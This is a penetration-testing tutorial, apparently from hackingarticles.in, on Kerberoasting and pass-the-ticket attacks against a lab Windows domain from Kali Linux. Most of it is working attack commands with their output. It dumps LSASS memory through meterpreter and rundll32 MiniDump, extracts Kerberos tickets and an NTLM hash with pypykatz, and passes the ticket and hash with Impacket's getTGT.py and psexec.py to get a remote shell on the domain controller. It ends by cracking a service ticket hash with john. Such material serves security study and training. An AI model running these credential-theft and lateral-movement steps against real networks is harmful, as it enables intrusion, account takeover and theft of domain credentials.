# Kerberoasting and Pass the Ticket Attack Using Linux

🌐 **hackingarticles.in**/kerberoasting-and-pass-the-ticket-attack-using-linux

Raj                                                                                          June 14, 2020

In our previous post, we explained the Kerberoasting attack in detail, which you can read from **here**. I recommend, then, to revisit our previous article for better understanding before implementing the attack mentioned in this section.

In this post, we will discuss how to perform a kerberoasting attack and remotely pass the Kerberos ticket using Kali Linux. Kerberoasting is considered to be lateral movement, so once you have penetrated the domain client system and obtained the computer shell, then use the following method for abusing Kerberos.

## Table of Content

### Pass the ticket

- kirbi2ccache
- Impacket gettgt.py

### Kerberoasting

> Kirbi2john

## Pass the Ticket: kirbi2ccache

In order to abuse Kerberos against pass the ticket or kerberoasting attack, we need to import DMP file in our local machine (Kali Linux) through Client machine and to do this execute the following command through meterpreter session.

```
load powershell
powershell_shell
Get-Process Lsass
cd C:\Windows\System32
.\rundll32.exe comsvcs.dll, MiniDump 628 C:\lsass.DMP full
```

Why we need Lsass.DMP file?

Because of LSASS.DMP stores the TGT & TGS ticket in the kirbi format for some period of time and using this DMP file we can obtain the following:

- NTLM HASH of User
- KRB5_TGT ticket
- KRB5_TGS ticket
- NTLM HASH for Service

```
meterpreter > load powershell  ←
Loading extension powershell ... Success.
meterpreter > powershell_shell  ←
PS > Get-Process Lsass

Handles  NPM(K)    PM(K)    WS(K) VM(M)   CPU(s)    Id  SI ProcessName
-------  ------    -----    ----- -----   ------    --  -- -----------
   1308      29     6272    45768 ... 33            628   0 lsass


PS > cd C:\Windows\System32  ←
PS > .\rundll32.exe comsvcs.dll, MiniDump 628 C:\lsass.DMP full  ←
PS >
```

Once you have dumped the lsass.dmp, download it on your local machine for extracting
kirbi files.

```
download lsass.DMP /root/Desktop/
```

```
meterpreter > download lsass.DMP /root/Desktop/
[*] Downloading: lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 1.00 MiB of 44.76 MiB (2.23%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 2.00 MiB of 44.76 MiB (4.47%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 3.00 MiB of 44.76 MiB (6.7%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 4.00 MiB of 44.76 MiB (8.94%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 5.00 MiB of 44.76 MiB (11.17%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 6.00 MiB of 44.76 MiB (13.41%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 7.00 MiB of 44.76 MiB (15.64%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 8.00 MiB of 44.76 MiB (17.87%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 9.00 MiB of 44.76 MiB (20.11%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 10.00 MiB of 44.76 MiB (22.34%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 11.00 MiB of 44.76 MiB (24.58%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 12.00 MiB of 44.76 MiB (26.81%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 13.00 MiB of 44.76 MiB (29.04%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 14.00 MiB of 44.76 MiB (31.28%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 15.00 MiB of 44.76 MiB (33.51%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 16.00 MiB of 44.76 MiB (35.75%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 17.00 MiB of 44.76 MiB (37.98%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 18.00 MiB of 44.76 MiB (40.22%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 19.00 MiB of 44.76 MiB (42.45%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 20.00 MiB of 44.76 MiB (44.68%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 21.00 MiB of 44.76 MiB (46.92%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 22.00 MiB of 44.76 MiB (49.15%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 23.00 MiB of 44.76 MiB (51.39%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 24.00 MiB of 44.76 MiB (53.62%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 25.00 MiB of 44.76 MiB (55.85%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 26.00 MiB of 44.76 MiB (58.09%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 27.00 MiB of 44.76 MiB (60.32%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 28.00 MiB of 44.76 MiB (62.56%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 29.00 MiB of 44.76 MiB (64.79%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 30.00 MiB of 44.76 MiB (67.03%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 31.00 MiB of 44.76 MiB (69.26%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 32.00 MiB of 44.76 MiB (71.49%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 33.00 MiB of 44.76 MiB (73.73%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 34.00 MiB of 44.76 MiB (75.96%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 35.00 MiB of 44.76 MiB (78.2%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 36.00 MiB of 44.76 MiB (80.43%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 37.00 MiB of 44.76 MiB (82.67%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 38.00 MiB of 44.76 MiB (84.9%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 39.00 MiB of 44.76 MiB (87.13%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 40.00 MiB of 44.76 MiB (89.37%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 41.00 MiB of 44.76 MiB (91.6%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 42.00 MiB of 44.76 MiB (93.84%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 43.00 MiB of 44.76 MiB (96.07%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 44.00 MiB of 44.76 MiB (98.3%): lsass.DMP → /root/Desktop//lsass.DMP
[*] Downloaded 44.76 MiB of 44.76 MiB (100.0%): lsass.DMP → /root/Desktop//lsass.DMP
[*] download    : lsass.DMP → /root/Desktop//lsass.DMP
meterpreter >
```

Download and install pypykatz for extracting stored Kerberos tickets in Kirbi format from inside the lsass.DMP file by executing the following commands

```
mkdir /root/kerb
pypykatz lsa -k /root/kerb minidump /root/Desktop/lsass.DMP
```



As you can observe we have obtained all Kerberos ticket in kirbi format as well as the NTLM HASH for user Yashika.

Currently, we have enumerated the KRB5_TGT ticket authorized for user "Yashika". Let try to pass the ticket to get TGS and access the requested services.

**Kirbi2ccache** is a python script that falls under the **Impacket** library, transforming the kirbi format file into ccache and then using Export KRB5CCCNAME to inject the ccache file into DC to get access to the requesting service.

```
kirbi2ccache TGT_IGNITE.LOCAL_yashika_krbtgt_IGNITE.LOCAL_6d469878.kirbi
yashika.ccache
export KRB5CCNAME=yashika.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip
192.168.1.105 -no-pass -k ignite.local/yashika@WIN-S0V7KMTVLD2.ignite.local
```



## Impacket GetTGT.py

Likewise, this can also be accomplished with the help of getTGT.py, as it will request a TGT and save it as ccache by giving a password, hash or aesKey.

If you recall that for user Yashika we have extracted the NTLM HASH. Now we have used the following command to request a TGT from DC and save it in CCache format. Laterally we can inject the ccache file into DC with the help of Export KRB5CCNAME to get access to the requesting service.

```
python getTGT.py -dc-ip 192.168.1.105 -hashes :64fbae31cc352fc26af97cbdef151e03
ignite.local/yashika
export KRB5CCNAME=yashika.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip
192.168.1.105 -no-pass -k ignite.local/yashika@WIN-S0V7KMTVLD2.ignite.local
```

```
root@kali:~/impacket/examples# python getTGT.py -dc-ip 192.168.1.105 -hashes :64fbae31cc352fc26af97cbdef15
1e03 ignite.local/yashika     ←
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] Saving ticket in  yashika.ccache
root@kali:~/impacket/examples# export KRB5CCNAME=yashika.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip
 192.168.1.105 -no-pass -k ignite.local/yashika@WIN-S0V7KMTVLD2.ignite.local   ←
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.1.105.....
[*] Found writable share ADMIN$
[*] Uploading file jSkCSFLL.exe
[*] Opening SVCManager on 192.168.1.105.....
[*] Creating service foEE on 192.168.1.105.....
[*] Starting service foEE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

## Kerberosasting: kirbi2john

As we said with the help of stored KRB5_TGS, we can extract the NTLM hashes for
Service Server and try to crack the hash in order to get the password in clear text or use
this hash to pass the hash attack. This would be known as kerberoasting.

Now as you can see in the highlight image we've outlined the KRB5_TGS for SQL Server
in kirbi format and converted it to john crackable format with the help of **kirbi2john.py**
(possible at /usr/ share/john/) called "TGS hash;" then use john for brute force password.

```
/usr/share/john/kirbi2john.py <KRB5_TGS kirbi>  > <Output file name>
john --wordlist=/usr/share/wordlists/rockyou.txt TGS_hash
```

Booom!!!! We found the password for SQL service server.

```
root@kali:~/kerb# ls
 lsass.DMP_f278295b.ccache
'TGS_IGNITE.LOCAL_CLIENT1$_cifs_WIN-S0V7KMTVLD2.ignite.local_1e6ec7f7.kirbi'
'TGS_IGNITE.LOCAL_CLIENT1$_cifs_WIN-S0V7KMTVLD2.ignite.local_ignite.local_e023c380.kirbi'
'TGS_IGNITE.LOCAL_CLIENT1$_CLIENT1$_3fd2a60f.kirbi'
'TGS_IGNITE.LOCAL_CLIENT1$_ldap_WIN-S0V7KMTVLD2.ignite.local_ignite.local_c7861a86.kirbi'
'TGS_IGNITE.LOCAL_CLIENT1$_ldap_WIN-S0V7KMTVLD2.ignite.local_ignite.local_d049f273.kirbi'
 TGS_IGNITE.LOCAL_yashika_ldap_WIN-S0V7KMTVLD2.ignite.local_267e6684.kirbi
 TGS_IGNITE.LOCAL_yashika_LDAP_WIN-S0V7KMTVLD2.ignite.local_ignite.local_53289817.kirbi
 TGS_IGNITE.LOCAL_yashika_LDAP_WIN-S0V7KMTVLD2.ignite.local_ignite.local_753600b3.kirbi
 TGS_IGNITE.LOCAL_yashika_WIN-S0V7KMTVLD2_SVC_SQLService.ignite.local:60111_4b16e13f.kirbi
'TGT_IGNITE.LOCAL_CLIENT1$_krbtgt_IGNITE.LOCAL_14733be7.kirbi'
'TGT_IGNITE.LOCAL_CLIENT1$_krbtgt_IGNITE.LOCAL_1f072fca.kirbi'
'TGT_IGNITE.LOCAL_CLIENT1$_krbtgt_IGNITE.LOCAL_4e660121.kirbi'
'TGT_IGNITE.LOCAL_CLIENT1$_krbtgt_IGNITE.LOCAL_817d846d.kirbi'
 TGT_IGNITE.LOCAL_yashika_krbtgt_IGNITE.LOCAL_6d469878.kirbi
 TGT_IGNITE.LOCAL_yashika_krbtgt_IGNITE.LOCAL_881fc286.kirbi
root@kali:~/kerb# /usr/share/john/kirbi2john.py TGS_IGNITE.LOCAL_yashika_WIN-S0V7KMTVLD2_SVC_
SQLService.ignite.local:60111_4b16e13f.kirbi > TGS_hash   ←
root@kali:~/kerb# john --wordlist=/usr/share/wordlists/rockyou.txt TGS_hash   ←
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password@1       ($krb5tgs$unknown)
1g 0:00:00:01 DONE (2020-05-16 10:17) 0.9259g/s 1947Kp/s 1947Kc/s 1947KC/s Popadic3..Passion7
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~/kerb#
```